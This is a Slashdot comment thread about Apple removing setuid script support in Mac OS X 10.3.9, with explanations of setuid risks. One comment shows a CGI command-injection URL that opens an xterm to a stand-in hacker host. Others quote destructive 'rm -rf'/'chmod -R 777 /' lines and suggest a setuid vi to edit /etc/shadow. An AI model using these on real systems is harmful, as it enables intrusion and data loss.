Slashdot Mirror


It's not a Feature, It's a Vulnerability!

pmeunier writes "Apple's security stance is stunning. In the latest (10.3.9) update, Apple removed two capabilities because they pose security risks. One of them is the capability to run setuid and setguid scripts (the other was actually unused). Can other commercial OS vendors (how many are there :) adopt a similar stance? Will you be inconvenienced by the inability to run setuid scripts on MacOS X? Which other features/capabilities (in any OS) would you like to have removed?"

180 comments

  1. Stunning? by Golias · · Score: 3, Insightful

    I guess I missed what was "stunning" about this.

    --

    Information wants to be anthropomorphized.

    1. Re:Stunning? by soyle · · Score: 5, Informative

      I guess I missed what was "stunning" about this.


      Especially since IBM's AIX hasn't allowed SUID scripts since version 3.5.something...
    2. Re:Stunning? by 0x461FAB0BD7D2 · · Score: 5, Funny

      If it's broken, it should be fixed, not thrown away.

      Imagine if Microsoft just removed IE because of all the security problems....wait. Let me re-think my position on this.

    3. Re:Stunning? by Anonymous Coward · · Score: 3, Informative

      SUID/SGID works exactly as designed, it's inherently flawed by design, that is the problem.

    4. Re:Stunning? by 0x461FAB0BD7D2 · · Score: 5, Funny

      Coincidentally, that's IE's problem too.

    5. Re:Stunning? by ceejayoz · · Score: 1

      If it can't be fixed immediately, I see no problem with disabling it while a fix is worked on.

    6. Re:Stunning? by Anonymous Coward · · Score: 0

      Aw crap, I wish I had mod points. That's one of those "it's funny because it's true" things.

    7. Re:Stunning? by Anonymous Coward · · Score: 2, Informative

      You still don't get it. The problem is not that it is broken. The problem is that it works.

      The correct "fix" is removal. Is there any way to make that more clear?

    8. Re:Stunning? by Anonymous Coward · · Score: 0

      duh, was I the only one awake for the DOJ antitrust case? They CAN'T remove IE, its part of windows now... jeez. doesn't anyone buy corporate propaganda anymore?

    9. Re:Stunning? by argent · · Score: 1

      The word "stunning" in this context doesn't normally imply praise.

    10. Re:Stunning? by AnonymousKev · · Score: 1
      >I guess I missed what was "stunning" about this.

      Agreed. I was working on Solaris about five years ago and it didn't allow setuid root scripts.

      --
      Anonymous Kev
      Proudly posting as AC since 1997
      (Finally got a dang account in 2004)
    11. Re:Stunning? by argent · · Score: 1

      SUID/SGID is not flawed by design. When used as designed it's an extremely effective mechanism for privilege separation. The trick is to set*id to a user or group with the minimum necessary privileges to perform a task. Not -ing root.

      Setuid scripts are a different ball of barbarian invaders.

  2. Weight the trade off by amichalo · · Score: 3, Insightful

    It's all about looking at the trade off of system security vs. robustness. I don't know about SetUserID but if it makes my Mac less secure and doesn't allow my applications to do anything I need them to then shut 'er off.

    The OS is already built with abilities to SUDO applications so perhaps Apple will figure out a more secure way of implementing the SetUserID feature so as not to create a vulerability. If they have to have it, then it probably needs to a an Admin level tool anyway.

    --
    I only came here to do two things; kick some ass, and drink some beer...looks like we're almost out of beer.
    1. Re:Weight the trade off by Creepy · · Score: 5, Informative

      First, this is about scripts, not setuid - if it removed setuid or setgid you wouldn't be able to sudo, since that is a setuid program.

      Second, perl (a scripting language) has really led the way here - perl has not allowed for running of setuid and setgid in scripts for a long time.

      Third, if you really need setuid and setgid to run your script, you can create a C wrapper for it. Yes, it's a pain, but it really emphasizes that you really know what you're doing. I remember seeing stuff like (fake URL) http://www.idioticmoron.org?command="runme.sh", which a smart hacker would see and convert to http://www.idioticmoron.org?command="runme.sh;env% 20DISPLAY=mycomputer.hacker.net:0.0%20xterm%20-sb% 20-sl10000" and have the cgi user's access (usually root) to your system with a convenient xterm (providing the machine is allowed as an xhost).

      What is setuid and setgid? It runs the program as the owner (or group) of the program instead of the executor (the group ID is so the owner can run it with one set of permissions and the group a different set). In this way, you can have something like a counter that can be run by anyone but writes to a file that only that user can write to. To create such a file, you'd do something like chmod 4711 test.sh (setuid) or chmod 2711 test.sh (setgid). Since test.sh is a script (a shell script to be particular), this shouldn't be allowed now. A C program can call setuid and setgid internally, if it has permissions to (say, is running as root), so it can change the executor to the desired user or group and then run the script.

    2. Re:Weight the trade off by Creepy · · Score: 2, Informative

      correction - perl doesn't allow running setuid or setgid when running as root (what most people use it for, anyway). You can setuid and setgid as other users, though only setgid is really useful, as far as I can tell.

      not being able to run setuid or setgid as root means you can only hack the exploited user or group, not the entire OS.

  3. Personally... by mooniejohnson · · Score: 2, Insightful

    Personally, this doesn't affect me, but I see it as a reasonably smart move. Really, the only 100% effective way to seal a vulnerability is to take away whatever caused vulnerability in the first place. I'm sure there's a workaround so you still have the same functionality with some other, more secure, method.

    Then again, I've never used this, I have no idea what I'm talking about, and I'm just exercising my Slashdot right to be opinionated!

    --

    Elmo knows where you live!

  4. no suid by ignorant_newbie · · Score: 2, Insightful

    hmm.... while setuid is often used as a bad hack to avoid learning proper programming methodology ( like priv sep ) I'm not sure i like that they've taken it away completly. I prefer freebsd's approach ( but then... how often is that not true ? ) of making you mount the file system with a 'setuid' flag before you can run setuid scripts on it. since most apple users will never touch fstab ( or whatever their xml equiv is ) this would be a better approach.

    1. Re:no suid by klossner · · Score: 1

      Parent confuses setuid-executable with setuid-shell-script. Shell script setuid is a botch in general because shells are not designed to protect security when run with privileges and so are hoaxed into permitting a breakin.

    2. Re:no suid by javaxman · · Score: 4, Informative
      Parent confuses setuid-executable with setuid-shell-script. Shell script setuid is a botch in general because shells are not designed to protect security when run with privileges and so are hoaxed into permitting a breakin.

      The parent also didn't read the linked article:

      Impact: Permitting SUID/SGID scripts to be installed could lead to privilege escalation.
      Description: Mac OS X inherited the ability to run SUID/SGID scripts from FreeBSD. Apple does not distribute any SUID/SGID scripts, but the system would allow them to be installed or created. This update removes the ability of Mac OS X to run SUID/SGID scripts. Credit to Bruce Murphy of rattus.net and Justin Walker for reporting this issue.

      emphasis mine. I'm going to guess shell scripts weren't the only kind of text file you could SUID/SGID ...

  5. Please remove these ... by EnronHaliburton2004 · · Score: 3, Interesting
    Personally, I have had it with scripts which do dumb things as root, such as:
    bar='' ### Mysteriously null! !@#!@%
    FOO=/$bar
    rm -rf $FOO
    Or even something similar like this 'The engineer doesn't understand permissions' script:
    chmod -R 777 /
    Could you please remove those?

    Thank god for applications like Netapp, which keep a readily availble copy of most directories in '$PWD/.snapshot . This has saved my ass a dozen times...
    1. Re:Please remove these ... by zemoo · · Score: 1

      I'm sorry this is off topic, but do you have references for the software that does the $PWD/.snapshot? I've seen it deployed, I'd just like to use it myself (a search for netapp turns up nothing of interest)

    2. Re:Please remove these ... by EnronHaliburton2004 · · Score: 2, Informative

      There's some marketing stuff here, but I can't find any technical guides:

      http://www.netapp.com/products/software/snapshot.h tml

      Basically, the Netapp takes a snapshot of your directories on a regular schedule (hourly, nightly, weekly, whereever). If you want to recover an old version of the file, it's as simple as a 'cp .snapshot/hourly.0/foobar.sh .'

      Also, when you rm a file, the Netapp can put the removed file in a $PWD/.gone directory in case you removed it by accident, and removes the file later (1 day later, 7 days later, whatever you need).

      Great features.

    3. Re:Please remove these ... by geniusj · · Score: 1

      I ran into the exact issue you outlined when using an early version of Darwin's build chain. Except, it was done with a Makefile during make install :)

    4. Re:Please remove these ... by EnronHaliburton2004 · · Score: 1

      And if you or anyone else know of other Storage devices with similar features, let me know!

  6. Derrrrrr.... by JHromadka · · Score: 4, Interesting

    Um, how about an explanation on what setuid and setguid actually does first, and then I'll tell you if I'm stunned.

    --
    "The objective of securing the safety of Americans from crime and terror has been achieved." -- John Ashcroft
    1. Re:Derrrrrr.... by Anonymous Coward · · Score: 3, Informative

      It lets the program/application/script run as owner (setuid) of the file, or as the group (setguid). So you could have a program owned by root, and when it gets executed it runs as root, rather than being run as whoever executed it.

    2. Re:Derrrrrr.... by mmkkbb · · Score: 5, Informative

      they are pretty self-explanatory for user commands.

      if the setuid bit on a file is set, then any execution of that file is done with the privileges the file's owner (or group in the case of setguid).

      for example:

      $ chmod 4754 foo.sh
      $ ls -l foo.sh
      -rwsr-xr-- 1 root foousers 17 Apr 18 15:11 foo.sh

      Now anyone in wheel can run foo.sh with root privileges.

      $ chmod 2755 foo.sh
      $ ls -l foo.sh
      -rwxr-sr-x 1 root foousers 0 Apr 18 15:11 foo.sh

      Now anyone on the system can run foousers with the privileges of a foousers member.

      --
      -mkb
    3. Re:Derrrrrr.... by EnronHaliburton2004 · · Score: 3, Insightful

      Now as an added bonus, look in your /bin directory and tell us which scripts have suid turned on. Now look for the suid bit on every file in your filesystem.

      It won't be very easy to find the programs without a 'find' command.

      Note that the only difference between a regular file and an suid-bit file is a teeny one-bit change-- there's an 's' instead of an 'x' or '-'. It's hard to see, and many people don't know it is when they see it.

      Is that the sort of 'needle in a haystack' obsfucation that introduces all sorts of security issues.

    4. Re:Derrrrrr.... by justMichael · · Score: 2, Informative
      Now as an added bonus, look in your /bin directory and tell us which scripts have suid turned on. Now look for the suid bit on every file in your filesystem.

      It won't be very easy to find the programs without a 'find' command.

      Considering that it's OS X we are talking about, find is already there.
      sudo find / -perm -6000 -ls
      Will give you your list, not sure how many actually show up, I'll have to check when I get back in front of a Mac.
    5. Re:Derrrrrr.... by and+by · · Score: 3, Informative

      You probably actually want 'sudo find / -perm +6000 -ls'. That'll find all the files with not just both, but either SUID or SGID.

    6. Re:Derrrrrr.... by justMichael · · Score: 1

      oops, yeah you are right.

    7. Re:Derrrrrr.... by prockcore · · Score: 1

      You probably actually want 'sudo find / -perm +6000 -ls'.

      Come on... just run "sudo sh".

      Especially since you're going to want to do other root things after you get back your list of set[gu]id files.

  7. Answers by hab136 · · Score: 5, Informative
    Can other commercial OS vendors (how many are there :) adopt a similar stance?

    It'd be nice.

    Will you be inconvenienced by the inability to run setuid scripts on MacOS X?

    Not at all. SUID scripts are a huge hole. See What security problems exist with SUID scripts and programs? for an example. SUID scripts are usually created by lazy people who can't be bothered to figure out permissions.

    Which other features/capabilities (in any OS) would you like to have removed?

    I'd like to see the instant-flamewar generator removed.

    1. Re:Answers by a11 · · Score: 0, Troll

      Informative? how about False!! The link mentions only one script exploit, and it's false. making a link called "-i" to a shell script does not start up an interactive shell. SUID scripts are no more a hole than any other program. bad code is bad code. this rumor is an ancient unix fairytail. take it from a real sysadmin.

    2. Re:Answers by Anonymous Coward · · Score: 0
      This viewpoint is really beginning to piss me off.

      Time and time again I keep hearing how BAD setuid scripts are and the number one reason why is IFS. The benefits of having setuid scripts far outway the benefit of redefining an input field separator. Why not just get rid of IFS capability in the damn shells?

      As for the other problems, listed in the article, why not just update the kernel, shell, or loader to do some sanity checking before doing some of these suspect operations? AIX, for example, overrides any definition of LIBPATH when executing a setuid app.

      As an administator AND software developer, I really hate having to "port" brain-dead utilities for repetative tasks each time I upgrade or move our development systems to a different OS.

      And let me give a pre-emptive "Shhh" to all those who are thinking about typing a reply with the word "autoconf" in it. There are still UNIX administrators out there that don't want or need Linux. Unless your developing Linux software with other Unicies as an afterthought, working with autoconf is like trying to suck a golfball through a garden hose.

      Setuid scripting still allows some people to work smarter AND SAFER, not harder.

    3. Re:Answers by fm6 · · Score: 3, Funny
      It'd be nice.
      Hey, Microsoft is very active in hunting down and removing insecure features. Maybe not as active as they are in creating them....
    4. Re:Answers by argent · · Score: 1

      "There are many methods which have been used to gain root priveledges from a Unix SUID (Set User ID) script or program." -- What Security problems...

      SETUID != SETUID ROOT

      Badly used setuid is a nightmare.
      Properly used it's paradise.

    5. Re:Answers by Anonymous Coward · · Score: 0
      working with autoconf is like trying to suck a golfball through a garden hose.
      Now I finally know what I need to do at parties! All I need to do is ask women if they are proficient in autoconf...
    6. Re:Answers by MoogMan · · Score: 1

      Any setuid program that uses GTK2 as its toolkit will exhibit the same behaviour also - It will not run. See http://www.gtk.org/setuid.html

      Also, IIRC (and FWIW), if you run Windows as a normal user, Windows won't allow you to run a program as Administrator, unless you supply credentials.

    7. Re:Answers by HitByASquirrel · · Score: 1

      I'd like to see the instant-flamewar generator removed.

      You mean the user?

      That would indeed remove most all of the phishing vaulnerabilities.

  8. including the function was a mistake. by Malor · · Score: 5, Informative

    The functionality was a mistake to include in the first place. I don't remember precisely WHY this is, but I have read that it is simply impossible to make a secure SUID/SGID script in any current flavor of Unix.

    Taking it out will undoubtedly inconvenience some folks, but it's sort of like being given a power tool without some critical piece of safety gear. Apple has, in essence, forced you to install that gear on your power tool, like it or not. If it inconveniences you, then you weren't using the tool safely to begin with.

    From what I understand, it's usually better to use sudo for this anyway... you can set up sudo so that it will only allow you to execute a particular program or set of programs. The sudoers file is more than slightly cryptic, and it's a bit more typing (both "sudo" and possibly the user password), but this will give you much better safety.

    If you just absolutely can't stand doing it that way, then write your script in perl or C and SUID that version. Note that it takes special care in both instances... SUID programs are dangerous, and if someone cracks a user account on your system, that's going to be one of the first things they'll look at to try to get root. Don't just toss something together, go look up how to do it safely. (short form: don't trust your environment, don't trust user input). Perl has some special functions just for this purpose, so be sure to read its documentation carefully.

    1. Re:including the function was a mistake. by anarxia · · Score: 1
      It's a bad idea, because it's trivial to exploit shell scripts.

      If the shell script does not set PATH you can easily override the PATH and cause the script to execute your "version" of some binaries. I think this is the reason that . is not in the default path.

      If the script is smart enough to set the PATH it's still not safe. You can use something like the ENV variable to cause the shell to execute arbitrary commands, or you can use the IFS variable to split paths etc.

      I'm sure that experienced sysadmins and unix gurus can think several more ways to exploit shell scripts.
    2. Re:including the function was a mistake. by greed · · Score: 3, Informative

      Well, you can at least mitigate some of the problems by starting your script with "-pe". The "p" flag disables use of the user's ENV setting and ~/.*rc files. And "-e" has it bail on error.

      Most shells should give you -p behaviour on SUID or SGID anyway (no matter what account they S?ID to).

      I always set both in my scripts; what's the use of seeing someone's alias table? And if they're one of those weird people who doesn't know the difference between .profile and .(ba|k|z|)shrc, well, I don't want their messed-up environment settings to hit my script--they're just going to complain my script is broken. That's at work, at home, it's more of a performance and safety thing--don't read files you don't need.

      And stopping on error is always good. If you are testing for errors, then commands are allowed to fail without aborting the script. But unhandled errors kill it--so someone trying to blast junk into the script might cause it to die earlier.

      Still, there are so many ways for environment settings to poison a script or the shell command line, S?ID is too dangerous. Using a few well-chosen "sudo" commands inside the script is the way to go. And, for batch jobs, you can set up those commands and the specific argument pattern to run without password prompt in sudo.

  9. speaking of suid vulnerabilities by baryon351 · · Score: 3, Interesting

    Speaking of suid vulnerabilities, http://www.frsirt.com/exploits/20050123.fm-iSink.c .php is an exploit of the mrouter hole (an overflowable suid app in iSync) which allows local root access. Exploited in January, still unfixed in April.

    Severity of course depends on how your system is used.

    1. Re:speaking of suid vulnerabilities by Anonymous Coward · · Score: 0

      frsirt post!

    2. Re:speaking of suid vulnerabilities by Anonymous Coward · · Score: 0

      scenod psto!

      Get a life, you fscking loser. Seriously, the best part of you dripped down your mom's leg.

    3. Re:speaking of suid vulnerabilities by Johnny+Mnemonic · · Score: 1


      Fixed in Security Update 2005-004; or at least the description of the fix includes text concerning mRouter and iSync.

      Apparently, posting the vuln on /. got someone's attention. Too bad it took that, though.

      --

      --
      $tar -xvf .sig.tar
    4. Re:speaking of suid vulnerabilities by White+Roses · · Score: 1

      Really? April 19. STFU.

      --
      Do not touch -Willie
  10. Hardly by MSG · · Score: 1

    The only thing that surprises me about that item is that SUID scripts were allowed until now. Most Unix systems don't allow SUID scripts, AFAIK.

    1. Re:Hardly by biglig2 · · Score: 1

      From TFA, it appears they inherited this from BSD without noticing, have just noticed, and immediately disabled it.

      --
      ~~~~~ BigLig2? You mean there's another one of me?
  11. Companies warning to NOT install the upgrade by TFGeditor · · Score: 1, Informative

    Moments before this story appeared, I received the following email:

    It is recommended by the Technical Support staff at Banta Publications that the Mac OS 10.3.9 upgrade NOT be applied at this time.

    It seems to be causing general problems with a variety of software applications. Once the upgrade is complete, there is not an easy way to remove it.

    If you have questions, please send an e-mail to xxxxxxx@xxxxxxxxxxx.com.

    --
    Ignorance is curable, stupid is forever.
    1. Re:Companies warning to NOT install the upgrade by sRev · · Score: 2, Interesting

      I've now installed the update on 3 of my macs. The only real issue so far has been that one machine needed it's printers reset. On a "more annyoing" note, the update added an insane number of unwanted bookmarks and bookmark folders to Safari (NY Times, Mac.com, Amazon, eBay, etc.). I can't remember this happening after the installation of previous Safari updates. I hope this isn't a new trend.

    2. Re:Companies warning to NOT install the upgrade by Phillup · · Score: 0

      I would never notice a bookmark being added to Safari on my Mac.

      If I can't get an idea of where a link is going to send be before clicking on it (like in the status bar) then I see no reason to use the browser.

      And I'm not going to waste my time fiddling around trying to make it work when there is a better alternative, like Moz/Fox.

      --

      --Phillip

      Can you say BIRTH TAX
    3. Re:Companies warning to NOT install the upgrade by TFGeditor · · Score: 1

      Wow. Trolling has reached an all-new low.

      --
      Ignorance is curable, stupid is forever.
    4. Re:Companies warning to NOT install the upgrade by mshmgi · · Score: 3, Informative

      I take it you haven't actually used Safari in a looong time. "COMMAND-/" toggles the status bar on/off.

      Now, here's what ticked me off. They changed the "View Source" command from "COM-OPT-V" to "COM-OPT-U" for no apparent reason. That one had me really stumped for about 3 seconds this morning. Damn you Apple!!!!!

    5. Re:Companies warning to NOT install the upgrade by mroch · · Score: 1

      It's Ctrl+U in Firefox on PC. I imagine it's Com-Opt-U on Mac, too.

    6. Re:Companies warning to NOT install the upgrade by Anonymous Coward · · Score: 0

      If I can't get an idea of where a link is going to send be before clicking on it (like in the status bar) then I see no reason to use the browser.

      And I'm not going to waste my time fiddling around trying to make it work when there is a better alternative, like Moz/Fox.


      I see your point, you certainly wouldn't want to fiddle with clicking "View -> Status Bar" when you could fiddle with installing new software.

    7. Re:Companies warning to NOT install the upgrade by dmarcoot · · Score: 1

      seriously. i think that is well below most troll protocols.

    8. Re:Companies warning to NOT install the upgrade by Anonymous Coward · · Score: 0

      Safari also defgraded the "save" option click, or right mouse button (if you have one) feature to only download to your designated download folder. That kind of sucks because I archive web pages for later reference all the time and place them into correctly named folders. Now I'll have to save the whole mess lose and put them together in the finder.

      When will Safari get a decent archive command? They talked about it in a dev-seed a while ago, but nothing since.

    9. Re:Companies warning to NOT install the upgrade by Anonymous Coward · · Score: 0

      Very odd with the bookmarks. No bookmarks where added to my list.

    10. Re:Companies warning to NOT install the upgrade by loquacious+d · · Score: 1

      Hold option while you right-click (or control-click) to bring back the "Download Linked File As..." item. Safari 2 in Tiger has a web archive feature, I believe.

    11. Re:Companies warning to NOT install the upgrade by Phillup · · Score: 1

      If I wanted to accept someone else's idea of what I should run, then I'd run Windows.

      I don't... so I don't.

      Installing software is gonna happen.

      As far as I'm concerned, the only use of shipping a browser with an OS is to make it easy to get to Mozilla. But, in all truthfullness... I could do it without a browser.

      [checks...]

      Just for grins, I just went and downloaded 1.7.7 via the command line using ftp. So... fsck that. They can spend the browser money on something else.

      The OS should not have a built in browser. It is a waste of development resources. And, development with the OS invariably leads to security problems.

      Better the OS and browser were developed independently.

      --

      --Phillip

      Can you say BIRTH TAX
    12. Re:Companies warning to NOT install the upgrade by Anonymous Coward · · Score: 0

      So what if they had used Mozilla as the default brower?

      WHAT WOULD YOU DO THEN, YOU PEDANTIC PIECE OF SHIT?

    13. Re:Companies warning to NOT install the upgrade by Anonymous Coward · · Score: 0

      You can use system preferences to change the shortcut back, on the keyboard section

    14. Re:Companies warning to NOT install the upgrade by NickFitz · · Score: 2, Informative

      ...the update added an insane number of unwanted bookmarks and bookmark folders to Safari... I hope this isn't a new trend.

      No, it's a bug, according to Dave Hyatt, author of Safari.

      --
      Using HTML in email is like putting sound effects on your phone calls. Just say <strong>no</strong>.
    15. Re:Companies warning to NOT install the upgrade by Phillup · · Score: 1

      I would waste my time explaining to anonymous dipshits that the browser was not developed as part of the OS, and therefor not a waste of the company's resources.

      Futhermore, and most importantly, I would applaud not having the browser be part of the OS. And not an unnecessary security vector for the entire OS.

      As things should be.

      Can't tell the difference between a browser developed by a company... and one included by a company?

      Try middle school. And stay awake this time...

      --

      --Phillip

      Can you say BIRTH TAX
    16. Re:Companies warning to NOT install the upgrade by mshmgi · · Score: 1

      No. COM-U on Mac.

  12. Linux doesn't allow it either by �berhund · · Score: 3, Informative

    Most (all?) Linux distros don't all this, either. Not sure where this happens, if it's bash or something deeper.

    If you want to play, try making a script owned by root, which modifies something a normal user can't. Set it SUID (chmod u+s filename). Run it as a normal user. Shouldn't work (except on older OS/X).

    Now, try setting vi or a copy of it SUID. (Again, make sure root owns it, and "chmod u+s filename".) Now run it as a normal user, and, say, edit your /etc/shadow. You shouldn't have any troubles doing so.

    Now that you're done, get rid of those suid files so nobody else uses them.

    --
    -Uberhund
  13. Are you out of your mind? by hummassa · · Score: 0

    Linux banned suid scripts long ago, and for good.
    suid scripts permit HUGE holes, because it's easy to find a buffer overflow in sh or any other script interpreter and then ... instant root account.

    --
    It's better to be the foot on the boot than the face on the pavement. ~~ tkx Kadin2048
    1. Re:Are you out of your mind? by a11 · · Score: 0, Troll

      again, ANCIENT fairytail. first, only in bourne. any posix shell will have things like buffer padding. and I'm sorry, how exactly are you going to exploit a buffer overflow in my -s shell script? Maybe if someone doen't know how to properly write a shell script. The fact that you refer to linux tells me that you don't deal with tier1 applications for large companies. linux is not even close to posix compliance and not nearly mature enough. In posix shells, there's a -s option - read up on what it does. all you people noting huge holes are yet to give a current, example where the script is not written in a bad way to allow the bug. I can have a suid c program to syscall argv. that doesn't mean suid should be banned. that means whoever wrote the bad code should be flipping burgers.

    2. Re:Are you out of your mind? by hummassa · · Score: 1

      The fact (again) is that anyone willing to exploit will do so, writing the script in a BAD way. And you are telling me AIX, HP/ux, SCO and Slowlaris have no buffer overflow in their sh, csh implementations? You must be dreaming.

      --
      It's better to be the foot on the boot than the face on the pavement. ~~ tkx Kadin2048
    3. Re:Are you out of your mind? by Ed+Avis · · Score: 1

      Er... by the same argument any suid binary permits HUGE holes because it's easy to find a buffer overflow in the program.

      Come on now, a Ruby script is much less likely to have buffer overflow vulnerabilities than some-random-bit-of-C and yet you say that the latter can safely be made suid and the former cannot?

      I thought the real reason for disallowing suid scripts was not to protect people from themselves, but because of a race condition. The script interpreter is invoked with the _name_ of the program to run, but of course that filename could have been switched to link to a different file in between the kernel starting the interpreter and the interpreter calling open() on the script. Apparently some Unix variants fixed this by passing an open filehandle to the interpreter, but I don't know the details of how this worked.

      --
      -- Ed Avis ed@membled.com
    4. Re:Are you out of your mind? by a11 · · Score: 0

      no. learn to read. what I said is not dissing linux or bash. My observation about linux is just that - an observation from my humble experience working with tier1 servers at mmm., little known companies such as FedEx, SBC, Blue Cross, Home Depot, ... Whoever marked this as a troll is a fat, ugly loser geek who spends his saturday nights writing code while I'm having sex, and needs to get a real job.

      What I am saying is that you will NEVER be able to exploit a shell buffer overflow in any script I ever write in a posix shell (read - NOT bash/zsh/csh/bourne - something like ksh88 or /usr/bin/sh on HP/AIX/SunOS...). Set all variables internally or in config file. quote things properly. declare datatypes - if an int, set it to an int. validate input parameters. use end of options --. If something fails - don't keep executing. watch subshells. don't leave forked zombies. all things good programmers always do in C but for some dumb reason think don't apply in a shell. The person who has root is the only one who can set the suid bit on file permissions - so not sure wtf you mean by "willing to exploit will do so". Do you mean the sysadmin will exploit the suid bit on the script he just wrote and chmodded? Are you drunk or do you just have no concept of logic?

  14. Re:Stupid crap by Anonymous Coward · · Score: 0

    Perhaps you'd rather they just ignore the problem and let you fix it yourself?

  15. Ping by omniplex · · Score: 1

    Isn't ping still run with setuid to root on most Linux systems?

    Wouldn't this make everything unpingable ;)

    Yes, was a joke, users wouldn't be able to run ping.

    How would something like ping be handled ( I don't use OS X )?

    1. Re:Ping by Johnny+Mnemonic · · Score: 3, Informative


      How would something like ping be handled ( I don't use OS X )?

      Only applies to scripts, not to compiled executeables. So it wouldn't matter at all.

      --

      --
      $tar -xvf .sig.tar
    2. Re:Ping by jwthompson2 · · Score: 4, Informative

      Ping is an application, not a script. Applications can still be SETUID but scripts cannot. Not being able to run applications SETUID would cause loads of hassles I suspect. But not being able to run scripts SETUID just keeps lazy scripters from doing stupid things that could compromise their systems.

      --
      Even if I knew that tomorrow the world would go to pieces, I would still plant my apple tree. -Martin Luther
    3. Re:Ping by Anonymous Coward · · Score: 0

      It isn't a script, so it wouldn't be effected by this update.

      Now I need to run through the system scripts left by my predicesor and see what will be broken....

    4. Re:Ping by FidelCatsro · · Score: 1

      sudo ping 127.0.0.1
      enter password: .. sudo in other words

      --
      The only things certain in war are Propaganda and Death. You can never be sure which is which though
    5. Re:Ping by chochos · · Score: 1

      Ping is an executable program. They just removed the ability to run setuid SCRIPTS (as in shell scripts).

    6. Re:Ping by argent · · Score: 1

      Isn't ping still run with setuid to root on most Linux systems?

      PING IS NOT A SCRIPT

    7. Re:Ping by omniplex · · Score: 1

      Thanks, that's what I had been thinking, but just wanted to make sure.

      Since most of the comments I was reading talked about setuid being bad and should be gotten rid of.

    8. Re:Ping by Anonymous Coward · · Score: 0

      I don't know...ever since installing 10.3.9, PithHelmet (my awesome Safari adblocker) has stopped working. Probably uses setuid.

  16. Solaris already blocks SetUID shell scripts... by Anonymous Coward · · Score: 3, Informative

    ...unless you build your own shell from source.

    seems like a "good thing" to me.

  17. gui from windows by Anonymous Coward · · Score: 0

    lets remove the gui from windows. that will make it far more secure.

    and it would be funny to watch all the lusers staring at a dos prompt. (of course port clipy to dos)

  18. Re:Stupid crap by Anonymous Coward · · Score: 0

    You mean, like the developers in the LINUX COMMUNITY?!?!?!?!?!?!?!

  19. This is a smart move by Apple by commodoresloat · · Score: 5, Funny

    And, since they did this, everything feels snappier!

  20. Alternative Data Streams by fsck! · · Score: 1

    NTFS allows you to store data both in foo.txt and foo.txt:evil, and only foo.txt will be visible in a directory listing. In fact, almost none of the tools that come with the system can see :evil. More info and examples from the nice folks at SysInternals. Spyware creators use this extensively. When you see a registry entries pointing to C:\WINNT\System32:xyzzy.dll, it's time to format and reinstall. I know there are other stupid, half-implimented features in NTFS but I can't think of what they are at the moment.

    1. Re:Alternative Data Streams by Detritus · · Score: 1

      Streams are actually a nice feature. The fact that the operating system doesn't provide adequate tools to deal with them is a separate issue.

      --
      Mea navis aericumbens anguillis abundat
    2. Re:Alternative Data Streams by fsck! · · Score: 1

      They are in fact such a nice feature that we have "directories" or "folders" instead.

      I think the NTFS guru that came up with this intended them to be used in ways that we in the UNIX world use directories. See OS X's .app and .package concept, or good old Maildir.

      The article asked for features that should be removed. I can't imagine any legitimate reason to keep this half-baked idea around.

    3. Re:Alternative Data Streams by Detritus · · Score: 1

      I've always looked at them as a generalization of OS/2's extended attributes or Mac OS's resource fork. Why should files be limited to a linear stream of bytes, with any attributes or metadata stored in the parent directory?

      --
      Mea navis aericumbens anguillis abundat
    4. Re:Alternative Data Streams by drsmithy · · Score: 1
      I think the NTFS guru that came up with this intended them to be used in ways that we in the UNIX world use directories. See OS X's .app and .package concept, or good old Maildir.

      No, they intended them to be used for storing metadata about the file so it could be indexed for searching purposes (like BeOS/BFS did).

      This is why WinFS is such a silly idea. Instead of using the inherent, built-in features of the OS's native filesystem that hav been around for nigh-on 15 years now, Microsoft are instead adding another layer of complexity with a database layer sitting between the FS and the user. True, it gives them more functionality, but I have to wonder how much more of that functionality will ever be used.

    5. Re:Alternative Data Streams by fsck! · · Score: 1

      Hadn't thought of that. I sure wish Microsoft had gone somewhere with that. Did you ever notice how many other columns are available (but never populated) in Explorer's Details view?

    6. Re:Alternative Data Streams by nwf · · Score: 1

      Indeed, they are a generalization of Mac OS's resource fork, et al. However, they are all useless. Even Mac OS has largely abandoned resource forks for new applications. Instead, put it in a directory and call it a bundle. There really isn't any effective difference, except that programs like "tar" and the like know how to deal with directories and will properly manage bundles.

      --
      I don't know, but it works for me.
    7. Re:Alternative Data Streams by argent · · Score: 1

      No, they intended them to be used for storing metadata about the file so it could be indexed for searching purposes (like BeOS/BFS did).

      Or like the Macintosh resource fork.

      Or like the elements in OS/1100 files, though they ended up being used the way files are in other operating systems, with the files themselves treated like directories.

      The thing is, unless you can get all operating systems and applications to handle, preserve, and interconvert these objects, they're more trouble than they're worth. You have to either make them visible as separate files (in which case you might as well use separate files, like NeXT/Mac bundles) or make them look like parts of the same file to what has become the de-facto file-system API (UNIX and STDIO)... in which case you might as well just store them in the file and treat the "smarter" file system as an optimization.

    8. Re:Alternative Data Streams by spitzak · · Score: 1

      You are missing the point. Why not store the data in files *UNDER* the file. IE every file is a directory. This is in fact what they are doing, but they went and invented a different syntax and require all-new API's to access the data, when files & directories are perfectly capable of it and should have been used. Same goes for Mac "resource forks". Read up on ReiserFS for a more correct implementation.

    9. Re:Alternative Data Streams by Detritus · · Score: 1
      I can think of a number of reasons why a designer wouldn't choose the "every file a directory" option.
      • Files should be atomic objects.
      • Some streams/attributes require special handling.
      • Put complexity in the OS, not user code.
      • Implementation efficiency.

      I like UNIX. I've been using it for many years. That said, I don't think that UNIX, or the POSIX model, is sacred. It is just one way of doing things, and not necessarily the best way.

      --
      Mea navis aericumbens anguillis abundat
    10. Re:Alternative Data Streams by spitzak · · Score: 1

      * Files should be atomic objects.

      So should a directory full of files. This is a problem with both the API and with the command-line tools. There is no reason "cp dir1 dir2" should not work and make a new dir2 that contains all the same files as dir1. One reason I do not like attributes is that they discourage fixing the actual file system in ways like this.

      * Some streams/attributes require special handling.

      Same is true of files.

      * Put complexity in the OS, not user code.

      I have no idea what you are saying. I am quite certain that getting rid of attributes and having only files will make both the OS and user code simpler by a great deal.

      * Implementation efficiency.

      This is of course the actual reason this is not done. File systesm have always been designed to assumme a relativly small number of very large files. But recent file systems (ReiserFS) in fact address this issue.

  21. Re:Stupid crap by FidelCatsro · · Score: 1

    suid is not something that a normal user would know or care about , this is a wake up call for other developers and script writters to learn proper practice .
    SUID can cause major problems and is a rather large vector for attack .

    ofcourse i may have missundersrtood you , do you mean developers who shove suid down our throats ?

    from an admins point of view , i no more want suid on any system i manage than i want ordinary users having root access

    --
    The only things certain in war are Propaganda and Death. You can never be sure which is which though
  22. System calls by b1t+r0t · · Score: 1
    Which other features/capabilities (in any OS) would you like to have removed?"

